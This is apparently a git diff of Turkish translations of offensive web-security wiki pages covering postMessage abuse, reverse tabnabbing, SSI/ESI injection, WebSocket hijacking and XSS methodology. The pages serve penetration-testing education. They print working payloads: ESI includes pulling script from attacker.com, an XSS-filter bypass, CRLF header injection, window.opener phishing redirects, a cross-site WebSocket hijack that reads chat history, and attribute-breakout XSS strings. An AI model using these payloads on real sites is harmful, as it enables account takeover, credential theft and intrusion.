Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryo oluşturur (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
Daha fazla bilgi için **okuyun**:
@ -158,8 +158,8 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header atlatma
Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
```markup
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
@ -167,15 +167,15 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Çocuk sayfasına gönderilen mesajı çalmak için ana sayfayı engelleme
Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'e gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve verinin alınmadan önce **çocukta bir XSS** kullanarak **veriyi sızdırabilirsiniz**:
Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'e gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve **çocukta bir XSS** kullanarak veriyi **sızdırabilirsiniz**:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### iframe konumunu değiştirerek mesaj çalmak
### iframe konumunu değiştirerek mesajı çalmak
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage ile Prototip Kirlenmesi ve/veya XSS
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı iframe'leyebilir** ve **prototip kirlenmesi/XSS**ığını **postMessage** aracılığıyla gönderilen istismar ile **kullanabilirsiniz**.
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe'leyebilir** ve **prototip kirlenmesi/XSS**ığını **postMessage** aracılığıyla göndererek **istismar** edebilirsiniz.
**postMessage** aracılığıyla **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) adresinde bulunabilir.
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismarına bir örnek:
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismar etmek için bir örnek:
```html
<html>
<body>

View File

@ -2,7 +2,7 @@
# Açıklama
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altında olan bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Ardından, mağdur bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol edebilir**.\
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol** edebildiği bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altında olan bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Ardından, **mağdur bağlantıya tıkladığında** ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol** edebilir.\
Eğer sayfa **`rel="opener"`** içermiyorsa ancak `target="_blank"` içeriyorsa ve **`rel="noopener"`** yoksa, bu da savunmasız olabilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki bir web sitesine **değiştirmek** olacaktır; böylece, orijinal web sitesinin **giriş** **formunu** **taklit** edebilir ve kullanıcıdan kimlik bilgilerini isteyebilir.
@ -26,8 +26,8 @@ Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edeb
## Örnekler <a href="#examples" id="examples"></a>
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
Ardından, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL'sinin** **nasıl değiştiğini** not edin.
```markup:vulnerable.html
Ardından, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL**'sinin **nasıl değiştiğini** not edin.
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@ Ardından, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **ba
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -58,17 +58,17 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
```
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
**Farklı kökenlerden** erişim gerçekleştiği senaryoda, kötü niyetli bir sitenin erişebileceği **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdakilerle sınırlıdır:
**Farklı kökenler** arasında bir erişim gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdakilerle sınırlıdır:
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve boolean bir değer döner.
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencere referansını döner.
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencereye bir referans elde edilebilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencereyi döner.
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından ığa çıkarılan tüm özelliklere erişim kazanır.
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim kazanır.
# Önleme

View File

@ -15,7 +15,7 @@ Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeri ile değiştiril
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSI kullanma kararı, sayfanızın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zaman gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
SSI kullanma kararı, sayfanın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
Web uygulaması **`.shtml`, `.shtm` veya `.stm`** uzantılı dosyalar kullanıyorsa, SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.
@ -56,8 +56,8 @@ Tipik bir SSI ifadesinin aşağıdaki formatı vardır:
```
## Edge Side Inclusion
**Önbelleğe alma bilgileri veya dinamik uygulamalar** ile ilgili bir sorun, içeriğin bir kısmının bir sonraki içerik alındığında **değişken** olabilmesidir. Bu, **ESI**'nin kullanılma amacıdır; ESI etiketlerini kullanarak **önbellek versiyonunu göndermeden önce oluşturulması gereken dinamik içeriği** belirtmek için.\
Eğer bir **saldırgan** önbellek içeriği içine **bir ESI etiketi enjekte edebilirse**, o zaman, belgenin kullanıcılarına gönderilmeden önce **rastgele içerik enjekte edebilme** yeteneğine sahip olabilir.
**Dinamik uygulamaların veya bilgilerin önbelleğe alınması** ile ilgili bir sorun vardır çünkü içeriğin bir kısmı bir sonraki içerik alındığında **değişebilir**. Bu, **ESI**'nin kullanılma amacıdır; ESI etiketlerini kullanarak **önbellek versiyonundan önce oluşturulması gereken dinamik içeriği** belirtmek için.\
Eğer bir **saldırgan** önbellek içeriğine bir **ESI etiketi enjekte edebilirse**, o zaman, belgenin kullanıcılarına gönderilmeden önce **rastgele içerik enjekte edebilme** yeteneğine sahip olabilir.
### ESI Detection
@ -65,8 +65,8 @@ Sunucudan gelen bir yanıttaki aşağıdaki **başlık**, sunucunun ESI kulland
```
Surrogate-Control: content="ESI/1.0"
```
Eğer bu başlığı bulamazsanız, sunucu **her neyse ESI kullanıyor olabilir**.\
**Kör bir istismar yaklaşımı da kullanılabilir** çünkü bir isteğin saldırganın sunucusuna ulaşması gerekir:
Bu başlığı bulamazsanız, sunucu **her halükarda ESI kullanıyor olabilir**.\
**Kör istismar yaklaşımı da kullanılabilir** çünkü bir isteğin saldırganın sunucusuna ulaşması gerekir:
```javascript
// Basic detection
hell<!--esi-->o
@ -100,11 +100,11 @@ hell<!--esi-->o
| **Yazılım** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Evet | Evet | Evet | Evet | Hayır |
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
| Akamai ESI Test Server (ETS) | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
#### XSS
@ -112,7 +112,7 @@ Aşağıdaki ESI direktifi, sunucunun yanıtı içinde rastgele bir dosya yükle
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### İstemci XSS korumasını atlatma
#### Müşteri XSS korumasını atlatma
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
#### Özel Yerel Dosya
Bunu "Yerel Dosya Dahil Etme" ile karıştırmayın:
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
@ -160,7 +160,7 @@ Aşağıdakiler, yanıta bir `Location` başlığı ekleyecektir.
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Yanıtınıza başlık ekleyin (XSS ile yanıtın "Content-Type: text/json" geçmesini sağlamak için yararlıdır)
- Yanıtınıza başlık ekleyin (XSS ile bir yanıtta "Content-Type: text/json" atlatmak için faydalıdır)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -168,7 +168,7 @@ Aşağıdakiler, yanıta bir `Location` başlığı ekleyecektir.
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF Ekleme Başlığı (**CVE-2019-2438**)
#### CRLF Ekle Başlığı (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
@ -183,7 +183,7 @@ Bu, yanıtta yer alan hata ayıklama bilgilerini gönderecektir:
```
### ESI + XSLT = XXE
**`eXtensible Stylesheet Language Transformations (XSLT)`** sözdizimini ESI'de kullanmak mümkündür, sadece **`dca`** değerini **`xslt`** olarak belirterek. Bu, **XSLT**'yi kötüye kullanarak bir XML Dış Varlık açığı (XXE) oluşturmayı ve kötüye kullanmayı sağlayabilir:
**`eXtensible Stylesheet Language Transformations (XSLT)`** sözdizimini ESI'de kullanmak mümkündür, sadece **`dca`** değerini **`xslt`** olarak belirtmek yeterlidir. Bu, **XSLT**'yi kötüye kullanarak bir XML Dış Varlık açığı (XXE) oluşturmayı ve kötüye kullanmayı mümkün kılabilir:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

View File

@ -4,7 +4,7 @@
## WebSocket Nedir
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, **düşük gecikme veya sunucu başlatmalı iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir, örneğin canlı finansal veri akışları.
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, canlı finansal veri akışları gibi **düşük gecikme veya sunucu başlatmalı iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir.
### WebSocket Bağlantılarının Kurulması
@ -12,7 +12,7 @@ WebSocket bağlantılarının kurulması hakkında ayrıntılı bir açıklama [
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı ifade eder.
`wss` protokolü, **TLS** ile güvenli bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı gösterir.
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
@ -35,11 +35,11 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi için açık kalır.
**WebSocket El Sıkışma Anahtar Noktaları:**
**WebSocket El Sıkışmasının Ana Noktaları:**
- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını işaret eder.
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü belirtir.
- `Sec-WebSocket-Key` başlığında Base64 kodlu rastgele bir değer gönderilir; bu, her el sıkışmanın benzersiz olmasını sağlar ve önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü gösterir.
- `Sec-WebSocket-Key` başlığında, her el sıkışmanın benzersiz olmasını sağlamak için Base64 kodlu rastgele bir değer gönderilir; bu, önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
@ -63,16 +63,16 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
**Aracı** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kullanarak websockets'te bilinen** **güvenlik açıklarını** **otomatik olarak keşfedebilir, parmak izi oluşturabilir ve arama yapabilirsiniz.**
**Websockets'ı keşfetmek, parmak izi çıkarmak ve bilinen** **güvenlik açıklarını** **otomatik olarak** **bulmak** için **aracı** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kullanabilirsiniz.**
### Websocket Debug tools
- **Burp Suite**, MitM websockets iletişimini, normal HTTP iletişimi için yaptığına çok benzer bir şekilde destekler.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **geçmiş** alarak, **yakalama kuralları** belirleyerek, **eşleşme ve değiştirme** kuralları kullanarak, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **geçmişi** alarak, **yakalama kuralları** belirleyerek, **eşleşme ve değiştirme** kuralları kullanarak, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu araç, Node.js ile yazılmıştır ve **özelleştirilmiş** mesajları **yakalamak, kesmek, göndermek** ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek için bir kullanıcı arayüzü sağlar.
- [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış bir **etkileşimli websocket REPL**'dir. **Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek** için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kullanımı kolay bir çerçeve sunar.
- [**https://websocketking.com/**](https://websocketking.com/) diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web**'dir.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türleri arasında, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
## Websocket Lab
@ -80,16 +80,16 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin WebSocket el sıkışmalarını etkileyen belirli bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF tokenleri** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin WebSocket el sıkışmalarını etkileyen belirli bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF tokenları** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumunun bir parçası olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan bir **kötü niyetli web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumu ile bir parça olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
### Simple Attack
**Websocket** bağlantısı **kurulduğunda** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı** gönderilen çerez temelinde **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
**Websocket** bağlantısı **kurulurken** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı** gönderilen çerez temelinde **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) "**READY**" göndererek **konuşma** geçmişini **geri alabilecektir**.
```markup
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) **"READY"** göndererek **konuşma** geçmişini **geri alabilecektir**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -130,7 +130,7 @@ return messageEvent
}
```
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
Web uygulamasını açarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket aracılığıyla gönderilen ve alınan mesajları çalabilirsiniz:
Web uygulamasını açarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
```javascript
sudo python3 -m http.server 80
```
@ -144,7 +144,7 @@ Web Sockets, **verileri sunucu tarafına ve istemci tarafına göndermek için b
## **WebSocket Smuggling**
Bu zafiyet, **ters proxy kısıtlamalarını aşmanıza** olanak tanıyabilir ve onlara **bir websocket iletişiminin kurulduğunu** düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
Bu zafiyet, **ters proxy kısıtlamalarını aşmanıza** olanak tanıyabilir, çünkü onlara **bir websocket iletişiminin kurulduğunu** düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
{{#ref}}
h2c-smuggling.md

View File

@ -8,14 +8,14 @@
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
1. **Ham HTML'de**:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?
3. Koruma mekanizmalarını aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
2. **HTML etiketinin içinde**:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
3. Sıkıştığınız öznitelik JS yürütmesini destekliyor mu?
4. Koruma mekanizmalarını aşabilir misiniz?
3. **JavaScript kodunun içinde**:
1. `<script>` etiketini kaçırabilir misiniz?
@ -23,7 +23,7 @@
3. Girdiğiniz şablon literalleri \`\` içinde mi?
4. Koruma mekanizmalarını aşabilir misiniz?
4. Javascript **fonksiyonu** **çalıştırılıyor**:
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
@ -50,14 +50,14 @@ Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
### HTML etiketinin niteliği içinde
### HTML etiketinin özniteliklerinin içinde
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
Eğer girdiniz bir etiketin özniteliğinin değerinin içinde yansıtılıyorsa, şunları deneyebilirsiniz:
1. **Nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
1. **Öznitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **öznitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay oluşturabilirsiniz**: `" autofocus onfocus=alert(1) x="`
3. Eğer **öznitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi öznitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` özniteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
